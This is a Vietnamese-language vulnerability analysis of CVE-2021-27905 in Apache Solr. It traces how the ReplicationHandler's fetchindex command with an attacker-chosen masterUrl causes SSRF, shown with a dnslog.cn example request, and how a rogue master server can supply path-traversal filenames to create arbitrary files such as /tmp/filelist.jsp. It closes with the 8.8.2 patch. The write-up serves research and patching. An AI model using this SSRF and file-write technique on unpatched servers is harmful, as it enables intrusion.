CVE-2021-27905
Môi trường:
- Phiên bản Apache Solr < 8.8.2.
Thiết lập debug:
- Sau khi tải về source code thực hiện sao chép toàn bộ lib jar vào chung một thư mục để thực hiện remote debug.
find . -iname '*.jar' -exec cp {} /tmp/solr/ \;
- Tạo project trên intellij hoặc ide debugger bất kì, thực hiện import library các tệp jars ở bước trên.
- Khởi chạy ứng dụng Apache solr kèm theo option jvm để thực hiện remote debug.
./bin/solr start -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005" -e cloud
Phân tích:
Payload
-
Core name: Tên của solrCore,ngoài ra Defining core.properties có giới thiệu thêm về các properties khác. Các properties của các lõi cũng được biểu diễn dưới dạng json qua đường dẫn
http://solr.local/solr/admin/cores?indexInfo=false&wt=json
{ "responseHeader":{ "status":0, "QTime":0}, "initFailures":{}, "status":{ "dangkhai_shard1_replica_n1":{ "name":"dangkhai_shard1_replica_n1", "instanceDir":"/home/sandbox/Documents/research/apache/solr/solr-8.1.1/example/cloud/node1/solr/dangkhai_shard1_replica_n1", "dataDir":"/home/sandbox/Documents/research/apache/solr/solr-8.1.1/example/cloud/node1/solr/dangkhai_shard1_replica_n1/data/", "config":"solrconfig.xml", "schema":"managed-schema", "startTime":"2021-06-23T02:29:25.225Z", "uptime":6281701, "lastPublished":"active", "configVersion":0, "cloud":{ "collection":"dangkhai", "shard":"shard1", "replica":"core_node2"}}}}
-
Path : Endpoint thực hiện xử lí các tác vụ gửi đến.
-
Point to method handle : Phương thức xử lí dẫn đến lỗi SSRF
-
URL DNS LOG: DNS Log ghi nhật kí các lần gọi đến từ solr.local . Có thể mở các cổng lắng nghe trên server của bạn hoặc sử dụng gợi ý dnslog.cn để tạo 1 dns log nhanh chóng.
SSRF
Lỗ hỏng này xoay quanh việc xử lí tác vụ của chức năng SolrReplication với phương thức fetchIndex
thực hiện gọi đến một địa chỉ tùy biến thông qua tham số masterUrl
.
Từ phương thức execute()
bắt đầu xử lý yêu cầu gửi lên từ client bằng this.solrReq.getCore().execute(this.handler, this.solrReq, rsp)
với handler
là ReplicationHandler
.
org\apache\solr\servlet\HttpSolrCall.class
Sau đó thực hiện xử lý các các tham số bằng this.handleRequestBody(req, rsp)
với req
có giá trị masterUrl=http://080rgf.dnslog.cn&command=fetchindex
và rsp
là các giá trị trả về cho client sau khi handle yêu cầu.
org\apache\solr\handler\ReplicationHandler.class
Lấy giá trị từ tham số command
và gọi đến phương thức fetchindex
tương ứng.
org\apache\solr\handler\ReplicationHandler.class
Cuối cùng lấy giá trị từ tham số masterURL
và thực hiện yêu cầu đến địa chỉ đó.
org\apache\solr\handler\ReplicationHandler.class
Đây là yêu cầu từ phía ứng chủ gửi đến dnslog
Đến đây thì xem như đã khai thác SSRF, nhưng mức độ ảnh hưởng của nó không chỉ là trỏ đến một địa chỉ địa phương, hay quét các cổng nội bộ mà có thể nâng cao sự ảnh hưởng hơn nữa.
write arbitrary files
Một vài điều trước khi đi tiếp phần này, điểm cuối dẫn đến SSRF được xử lí bởi ReplicationHandler . Là một phần của legacy-scaling-and-distribution trong mô hình quản lí của apache solr. Index Replication sử dụng kiểu mô hình maste & slave , có thể giải thích dễ hiểu rằng master như máy chủ sẽ thực hiện đồng bộ lên các slave tức là các máy con. Mô hình này được sử dụng khá nhiều, hay thấy nhất là trên các dịch vụ SQL. Như thông tin trong Index Replication thì không có quá nhiều thông tin định nghĩa về máy chủ / máy con. Vì thế mà chỉ có thể dựa vào yêu cầu từ phía đối phương để xác định được đây là là máy chủ hay máy con. Vì thế mà các mô hình này thường có rủi ro tấn công cao đối với các nút kết nối nguy hiểm chưa được xác thực. Bài trình bày tấn công ở kiểu mô hình này nổi bật như rce-exploits-of-redis-based-on-master-slave-replication cũng được trình bày ở 2018.zeronights.ru.
Quay trở lại với apache solr, đây là mô hình tấn công với rogue solr server được xem như máy chủ và server apache solr xem như máy con. Với rogue solr server được tạo bởi attacker nhằm sao chép các index giả mạo tới server apache solr.
Tiếp tục theo luồng của hướng gỡ lỗi ban đầu.
org\apache\solr\handler\IndexFetcher.class#fetchIndex(dòng 291)
Từ phương thức fetchIndex()
tiếp tục gọi đến doFetch(paramsCopy, false)
với paramsCopy
là các giá trị từ URL
. Quay lại với phương thức doFetch(SolrParams solrParams, boolean forceReplication)
, theo dõi luồng chuyển tiếp các hàm thì nó tiếp tục gọi đến fetchLatestIndex(forceReplication)
. Sau đó thực yêu cầu đầu tiên đến rogue server để lấy giá trị indexversion
và generation
bằng phương thức getLatestVersion()
org\apache\solr\handler\IndexFetcher.class#getLatestVersion(dòng 219)
Dùng indexversion
để kiểm tra lần lượt các điều kiện latestVersion == 0L
và !forceReplication && IndexDeletionPolicyWrapper.getCommitTimestamp(commit) == latestVersion
. Có thể tùy biến giá trị indexversion
khác 0 từ rogue server . Và IndexDeletionPolicyWrapper.getCommitTimestamp(commit)
từ ứng dụng cũng bằng 0.Tiếp theo gọi đến fetchFileList(latestGeneration)
.
org\apache\solr\handler\IndexFetcher.class#fetchFileList(dòng 257)
Sau khi nhận phản hồi từ rogue server , lấy từ giá trị ở 2,3,4
tương ứng với filelist,confFiles,tlogFiles
. Nếu các giá trị khác null
thì thực hiện synchronizedList(files)
hay hiểu nôm na rằng đồng bộ giá trị vào các biến instance của lớp hiện tại để xử lý ở các phương thức tiếp theo. Sau khi thực hiện yêu cầu thứ 2 đến rogue server
để lấy các giá trị tương ứng cho this.filesToDownload,this.filesToDownload,this.tlogFilesToDownload
. Ở fetchLatestIndex()
tiếp tục tạo thư mục index với định dạng:
/home/sandbox/Documents/research/apache/solr/solr-8.1.1/example/cloud/node1/solr/dangkhai_shard1_replica_n1/data/index/
Chuyển tiếp đến dòng 512 ở phương thức fetchLatestIndex()
gọi đến downloadIndexFiles
để tải tệp index từ rogue server
org\apache\solr\handler\IndexFetcher.class#fetchLatestIndex( Dòng 512)
org\apache\solr\handler\IndexFetcher.class#DownloadIndexFiles( Dòng 980)
Lấy các giá trị phản hồi từ rogue server,sau đó kiểm tra nếu giá trị checksum đã tồn tại hoặc đã tải rồi thì thực hiện dừng tải tệp trùng này. Nếu tệp không trùng thì thực hiện tạo một tệp mới localFile
.
Với indexDirPath
mà ứng dụng tạo ở trên và filename
có thể tùy biến từ rogue server của kẻ tấn công. localFile
được tạo giờ sẽ như thế này.
/home/sandbox/Documents/research/apache/solr/solr-8.1.1/example/cloud/node1/solr/dangkhai_shard1_replica_n1/data/index/../../../../../../../../../../../../../../../tmp/filelist.jsp -> /tmp/filelist.jsp
Sau khi đã tạo một tệp rỗng trên hệ thông, ứng dụng tiếp tục gửi yêu cầu đến rogue server để thực hiện lấy nội dung và ghi vào tệp đã tạo trên hệ thống theo luồng gọi phương thức bên dưới
this.dirFileFetcher.fetchFile() -> this.fetch() -> this.getStream()
org\apache\solr\handler\IndexFetcher.class#getStream(Dòng 1791)
Lưu ý rằng vecto này chỉ có thể tạo một tệp mới, không thể ghi đè. Ứng dụng sẽ kiểm tra 2 điều kiện thường gặp như tệp đã tồn tại trên hệ thống hoặc size được lấy từ thông tin phản hồi ở bước ứng dụng gửi yêu cầu thứ 2 đến rogue server không giống như size thực mà hệ thống trả về. Điều này khiến cho ứng dụng gọi tới phương thức cleanup()
để xóa đi tệp vừa tải về trước khi ghi nội dung cho nó.
Đến bước này thì đã xong quá trình tạo một tệp tùy ý trên hệ thống. Ngoài ra, không chỉ riêng phương thức downloadIndexFiles
cho phép tạo mới một tệp mà còn có thể sử dụng downloadTlogFiles(),downloadConfFiles()
để tạo một tệp mới. Cách thức thực hiện ở phương thức này cũng giống như downloadIndexFiles
.
Đây là quá trình giao tiếp giữa ứng dụng apache solr và rogue server.
Bản vá
Bản vá cho lỗ được cập nhật trong phiên bản 8.8.2. Trong bản vá này thực hiện lọc url đầu vào bằng setLeaderUrl
tại 248 và sử dụng shard whitelist để xác thực url hợp lệ với phương thức solrCore.getCoreContainer().getAllowListUrlChecker().checkAllowList(Collections.singletonList(leaderUrl), clusterState)
.
Có thể có ích
- Mình phân tích lại bài này nhằm mục đích hiểu được Replication,master & slave, cách dựng rogue server . Có lẽ rằng những phân tích trên căn bản cũng đã trả lời được. Đối với rogue server thì với mỗi app sẽ có một cơ chế truyền nhận các index riêng, vì thế để dựng được một server giả mạo để phản hồi đến server thật thì cần hiểu được những điều kiện cầu để 2 server giao tiếp được với nhau. Sau đó mới tạo một server giả để đáp ứng các lời gọi.
- Mục đích thứ 2 là mình muốn tìm cách chain lên được impact cao hơn như rce , nhưng vẫn chưa thể hoàn thành. Mình nghĩ để đáp ứng được thì cần để ý những thứ sau:
- Lợi dụng được các chức năng xóa index nào đó để thực hiện xóa tệp có sẵn và thực hiện ghi lại tệp mới, nhằm vượt qua cơ chế kiểm tra
fileexist()
. - Mình đã nghĩ tới việc tạo ra một service handler mới nhưng có vẻ bất khả thi, vì mỗi handler đều đã được route sẵn. Nếu muốn thì cần phải define cho nó.
- Lợi dụng được các chức năng xóa index nào đó để thực hiện xóa tệp có sẵn và thực hiện ghi lại tệp mới, nhằm vượt qua cơ chế kiểm tra
Lời cuối xin cảm ơn đến RicterZ.
Ref:
[0] https://nvd.nist.gov/vuln/detail/CVE-2021-27905
[1] https://solr.apache.org/guide
[2] https://medium.com/@knownsec404team/rce-exploits-of-redis-based-on-master-slave-replication-ef7a664ce1d0
[3] https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
[4] http://noahblog.360.cn/apache-solr-8-8-1-ssrf-to-file-write/